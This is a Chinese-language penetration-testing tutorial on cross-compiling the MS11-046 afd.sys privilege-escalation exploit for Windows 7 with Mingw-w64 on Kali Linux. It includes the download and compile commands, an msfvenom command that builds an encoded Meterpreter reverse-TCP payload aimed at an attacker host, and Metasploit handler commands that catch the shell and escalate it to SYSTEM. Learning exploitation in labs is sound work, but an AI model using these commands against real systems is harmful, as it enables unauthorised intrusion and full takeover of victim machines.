在Kali Linux上编译Windows漏洞的方法
发布时间:2022-12-20 00:18:29
在本教程中,我们将讨论如何使用Mingw-64在 Kali Linux上编译Windows漏洞。 让我们开始在Kali Linux上安装Mingw-w64。有需要的朋友可以参考下
如何在Kali Linux上编译Windows漏洞!
Mingw-w64是一个用于创建Windows应用程序的自由和开源软件开发环境。 Mingw-w64最初叫Mingw32,它当时不支持64位架构。在本教程中,我们将讨论如何使用Mingw-64在 Kali Linux上编译Windows漏洞。 让我们开始在Kali Linux上安装Mingw-w64。
Mingw-w64是一个用于创建Windows应用程序的自由和开源软件开发环境。 Mingw-w64最初叫Mingw32,它当时不支持64位架构。
在本教程中,我们将讨论如何使用Mingw-64在 Kali Linux上编译Windows漏洞。 让我们开始在Kali Linux上安装Mingw-w64。
1、在Kali Linux上安装Mingw-w64
默认情况下,Kali Linux 2016.2和更低版本上未安装Mingw-w64。 因此,我们需要先安装它,然后才能在Linux上编译Windows漏洞。 执行以下命令,安装Mingw-w64:
apt-get update apt-get install mingw-w64
使用apt-get install mingw-w64在您的Kali主机上安装mingw-w64。
键入y为yes,以确认并继续Mingw-w64安装过程。 下载和安装Mingw-w64可能需要一段时间才能完成。
2、无法找到程序包mingw-w64的解决方法
有时,你尝试安装mingw-w64包时得到一个无法找到包mingw-w64的错误,并得到类似如下提示:
root@kali:~# apt-getinstall mingw-w64 Reading package lists…Done Building dependency tree Reading stateinformation… Done E: Unable to locatepackage mingw-w64
要解决这个问题,请确保在sources.list文件中具有正确的存储库。您可以使用nano编辑文件:
/etc/apt/sources.list
确保您在此文件中具有正确的存储库。 您可以在以下页面上找到不同版本的Kali Linux的存储库:
http://docs.kali.org/general-use/kali-linux-sources-list-repositories
使用sources.list文件中的正确的存储库,您需要运行apt-get update,然后再次运行Mingw-w64软件包的安装命令。
3、用Mingw-w64交叉编译Windows漏洞利用
现在我们已经安装了Mingw-w64,可以开始编译Windows漏洞利用程序了。 对于本教程,我们将编译一个用C编写的Windows漏洞利用程序,以利用Windows 7 SP0 x86中的CVE-2011-1249(MS11-046)漏洞。 此版本的Windows操作系统在辅助功能驱动程序(AFD)中包含一个漏洞,允许已认证的非管理用户提升权限。即使Mingw-w64是为非常需要的64位支持开发的,我们也可以编译32位Windows漏洞。 让我们来看看如何编译32位Windows漏洞。
让我们从Exploit-db下载漏洞:
wget --output-document= 40564.c https://www.exploit-db.com/download/40564
使用以下命令编译Windows 32位的afd.sys exploit:
i686-w64-mingw32-gcc[input file: source]–o [output file: .exe]-lws2_32
以下命令将编译Windows 7 afd.sys特权升级漏洞:
i686-w64-mingw32-gcc 40564.c –o exploit.exe –lws2_32
编译Windows漏洞。
要将漏洞利用程序转移到目标主机,我们将使用内置的ApacheWeb服务器来提供它。 最后2个命令会将exploit复制到Apache主目录并启动Apache Web服务器。
当我们从cmd.exe下载并执行该漏洞时,它将如下所示:
漏洞利用成功执行。
因为我们可以看到whoami命令在执行exploit之前返回一个普通用户权限,之后显示是system用户权限。这个exploit实际上在当前shell中生成一个新的shell,而不是在新窗口中创建一个新的shell。这意味着我们也可以从命令行shell运行此漏洞利用程序,例如Meterpreter。让我们看看如何从Meterpreter会话运行漏洞利用。
4、利用编译错误
当编译针对不同架构和操作系统的漏洞时,可能会发生许多错误。有很多因素可能导致编译失败,例如:语法,库,主机和目标体系结构,用于编译代码的已安装软件等等。一些错误可能很容易修复,有些错误则不是。同样重要的是不同的警告来自致命的错误,因为警告可能只是指示一些类似的过时的功能,不能阻止漏洞的工作。致命错误会阻止漏洞利用,因此需要修复。
处理编译错误的最佳方法是仔细阅读,然后在Google上搜索解决方案。通常你不是第一个也不是唯一面对某个编译错误的人,因此没有必要重新发明轮子。在线资源(如堆栈交换)通常为您提供最常见的编译错误的可能解决方案。
5、从Meterpreter shell中利用MS11-046
让我们使用Msfvenom快速生成Windows 32位Meterpreter反向TCP有效负载,并在目标主机上执行它。 我们将在Metasploit中使用多处理程序来捕获反向shell。
使用以下命令使用Msfvenom创建有效负载:
msfvenom -a x86 –platform Windows -p windows/meterpreter/reverse_tcpLHOST=[IP attackbox] LPORT=4444 -e x86/shikata_ga_nai –f exe –o exploit.exe
请务必更换侦听主机IP,必要时更换侦听端口。现在启动msfconsole并运行以下命令来设置多处理器漏洞:
use exploit/multi/handler set lhost [listening host IP] set lport 4444 run
在端口4444上启动反向TCP处理程序。
然后下载利用程序到目标主机并执行它。 如果一切设置正确,您应该在msfconsole上收到一个反向Meterpreter shell:
目标主机连接回Kali。
在Meterpreter命令行上运行下一“shell”命令并运行特权升级漏洞利用程序将shell升级到系统shell:
特权升级攻击通过我们的Meterpreter会话成功执行。
正如你可以看到的,shell从特权测试用户shell变化到系统shell。 请注意,在执行它的shell中生成一个新的系统shell。 因此,我们不能看到利用输出,因为它是在有限的特权的旧shell。
您可以通过键入Exit来验证这一点,将退出系统shell并返回到仍包含Windows 7权限升级exploit输出的用户shell:
特权用户shell上的exploit输出。
学到的东西
在本教程中,我们已经了解了在Linux上针对Windows的交叉编译漏洞的基础知识。 我们已经学习了如何在Kali Linux上安装Mingw-w64并解决最常见的安装问题。 为了练习漏洞编译过程,我们编译了一个针对Windows7 x86的特权提升漏洞。 这也称为交叉编译。
我们已成功的在目标主机上执行已编译的可执行文件,并将shell从有限的用户shell升级到系统shell。 我们已经知道,这个特殊的exploit在shell中生成了一个shell,在这个shell中执行了exploit。 这样,我们还可以从命令行(例如Meterpreter shell)执行特权提升漏洞利用。
最后但同样重要的是,我们已经了解了如何在编译过程中修复错误。


猜你喜欢
- 可以使用SUMIF函数对范围中符合指定条件的值求和。例如,如果某列中含有数字,你只需对大于5的数值求和。可使用以下公式:=SUMIF(B2:
- 电脑使用久了总是会出现一些问题,其中最常见的就是本地连接不见了。本地连接不见了可能有些网络问题我们就无法解决了,那么当你遇到Win7本地连接
- win10微软拼音中英文切换快捷键是可以修改的,很多用户非常不习惯用系统默认的快捷键切换,想要自定义一个键位,其实非常的简单,下面来一起看看
- 方法一:将输入法调整为英文状态 在需要输入以0开头数据的单元格中输入单引号“'”,再输入数据即可!此方法相
- MAC系统中有许多应用的文件夹名都是英文的,这让许多英文不太好的用户们感到不方便,怎么样才能将文件夹名汉化为中文的呢?现在小编就告诉大家这个
- wps怎么选定打印区域?当我们需要打印已经制作好的文档,出于经济的考虑,某些文档内容不需要打印。这时候需要借助于设置word文档的打印范围来
- 我们在使用电脑的过程中,右键菜单是最常用到的功能。即使是最新的Win10系统,右键菜单功能也相对局限,如果大家感觉这些功能不够用,完全可以增
- 很多使用win7系统的朋友都想小编反应,如果暂停使用电脑,鼠标会出现停顿现象,这是怎么回事呢?该怎么解决呢很多使用win7系统的朋友都想小编
- win7自带的截图工具很好,很强大,很少会出现问题。但是它能不能像qq截图工具一样可以使用快捷键呢?今天小编和大家分享给win7自带截图工具
- win7下将office2010换为2013,从网上或从Foxmail下载Excel文件后,马上弹出“Microsoft Office &n
- win7扫雷打不开怎么办?现在,很多用户都在玩英雄联盟这种大型的网络游戏,很少有用户会玩扫雷这款小游戏。不过,在空闲无聊的时候偶尔玩玩该游戏
- win10在每次更新之后都可能会出现一些小问题,只要卸载等待着重新更新就可以了,但是很多用户不知道在哪查看出问题的更新补丁,下面来看看下面的
- 1.首先,打开word编辑的文档,先按照正常的方法给文字添加下划线。如图所示添加,选中需要加下划线的那部分内容,再点添加按钮。2.按正常方式
- 本章是以winxp系统为实例来进行实际说明,有两种情况可以解决标题所述情况以XP为例,进行下说明,解决的方法有两种:1.在安装过程中解决问题
- 想必大家对EFS加密并不陌生吧,身边的朋友问我如何禁用EFS加密,试想应该有很多的都不会,于是写了个教程供大家参考,如果你也不会,那么可不要
- 电脑用户都了解,笔记本电脑硬件比较脆弱,一旦发生损伤就容易出现开机黑屏的问题。有些用户升级Win10系统后笔记本也会出现开机黑屏的现象,这是
- win11提示“管理员已阻止你运行此应用”怎么办?大家在使用win11系统的过程中,有出现提示“管理员已阻止你运行此应用”的情况吗?那么遇到
- 一些特殊的文件,供别人看,却不能被别人修改,该如何设置。下面让小编为你带来怎么设置excel2007表格为只读模式的方法。设置excel20
- 如果你安排一周的行程,不用每次都要输入星期几,只需一个设置,然后回车即可完成,那么word如何自动形成星期?下面小编就为大家介绍一下,来看看
- 使用Win7系统的用户发现鼠标右键点击桌面菜单中多了一项amd vision engine control center,如果不想使用的话,